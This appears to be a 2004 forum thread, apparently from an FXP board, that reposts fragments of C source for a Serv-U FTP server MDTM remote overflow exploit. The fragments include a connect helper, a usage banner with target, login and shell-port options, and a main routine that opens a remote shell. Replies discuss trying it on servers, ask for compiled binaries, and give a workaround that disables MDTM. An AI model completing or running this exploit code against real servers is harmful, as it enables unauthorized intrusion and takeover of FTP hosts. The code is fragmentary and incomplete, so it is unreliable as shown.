/* new: * tcp connect with no block socket, host to ip. * millisecond timeout, it's will be fast. *;D * 2003/06/23 add by Sam */ int new_tcpConnect (char *host, unsigned int port, unsigned int timeout) { int sock, flag, pe = 0; size_t pe_len; struct timeval tv; struct sockaddr_in addr; struct hostent* hp = NULL; fd_set rset;
// reslov hosts hp = gethostbyname (host); if (NULL == hp) { perror ("tcpConnect:gethostbyname\n"); return -1; }
/* print help messages. * just show ya how to use. */ void showHELP (char *p) { int i;
fprintf (stderr, "Usage: %s [Options] \n", p); fprintf (stderr, "Options:\n" "\t-h [remote host]\tremote host\n" "\t-P [server port]\tserver port\n" "\t-t [system type]\tchoice the system type\n" "\t-u [user name]\tlogin with this username\n" "\t-p [pass word]\tlogin with this passwd\n" "\t-d [shell port]\trebind using this port (default: ftpd port)\n\n");
printf ("num . description\n"); printf ("----+-----------------------------------------------" "--------\n"); for (i = 0; i <= MAX_NUM; i ++) { printf ("%3d | %s\n", i, architectures[i].desc); } printf (" '\n"); return; }
int main (int c, char *v[]) { int ch, fd, sd; char *hostName = NULL, *userName = "ftp", *passWord = "sst@SERV-u"; shellport = port;
fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"\n" "bug find by bkbll (bkbll@cnhonker.net) code by Sam (Sam@0x557.org)\n\n");
if (c < 2) { showHELP (v[0]); exit (1); }
while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) { switch(ch) { case 'h': hostName = optarg; break; case 't': x = atoi (optarg); if (x > MAX_NUM) { printf ("[-] wtf your input?\n"); exit (-1); } break; case 'u': userName = optarg; break; case 'p': passWord = optarg; break; case 'P': port = atoi (optarg); break; case 'd': shellport = atoi (optarg); break; default: showHELP (v[0]); return 0; } }
fprintf (stderr, "[+] successed!!\n\n\n"); sh (0, 1, sd);
close (sd);
return 0; }
R0x0r
Feb 27 2004, 07:35 AM
Thanks for the code pita.. I'll try it
Nexcess
Feb 27 2004, 07:42 AM
I was really hopeing this wouldnt get out, it'll make stro stealers happy.
OC314
Feb 27 2004, 10:34 AM
>Exploit looks good, as it is for all versions of serv-u ftpd i think (3.x 4.x 5.x)
Only Hope it will work properly.
Arnie
Feb 27 2004, 10:38 AM
hmm i tryed it on serv-u 3.x 4.1 and 5.0 none of'm gave me a shell
Paul
Feb 27 2004, 10:41 AM
Serv-u aint safe anymore :/
Arnie
Feb 27 2004, 10:42 AM
QUOTE (Paul @ Feb 27 2004, 10:41 AM)
Serv-u aint safe anymore :/
is this the end of the FXP board scene?
Leonnetje
Feb 27 2004, 11:07 AM
QUOTE (Arnie @ Feb 27 2004, 10:38 AM)
hmm i tryed it on serv-u 3.x 4.1 and 5.0 none of'm gave me a shell
Can you attach the compiled version to your post or put it in the download section so everybody can take a look @ it /??
@ Nexcess:
You're completely right dude... this isn't a nice exploit but we need to know what we're dealing with.....
Btw: this topic is DOUBLE POSTED !!!!
Arnie
Feb 27 2004, 11:11 AM
yeah yeah all the fxp board people are blablaing about rehack etc etc, yet they all still want it for "security" related things
piecejoker
Feb 27 2004, 06:58 PM
^^------------------------------------------------------------------------------------^^ The new exploit that is released is very dangerous! BUT there is a workaround:
The exploit uses the MDMT command You can simply turn this off in your serv-u admin.
Go to: domains > settings > advanced , en dan "allow MDMT command to change file date/time"
Turn that off!
Yuur serv-u server will crash, but isn't hackable anymore...
Hope you can use this...... ------------------------------------------------------------------------------------
MfG ^^ only 4 the l33t Fxp´ers
(filtered) all FXP Public Boards...
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.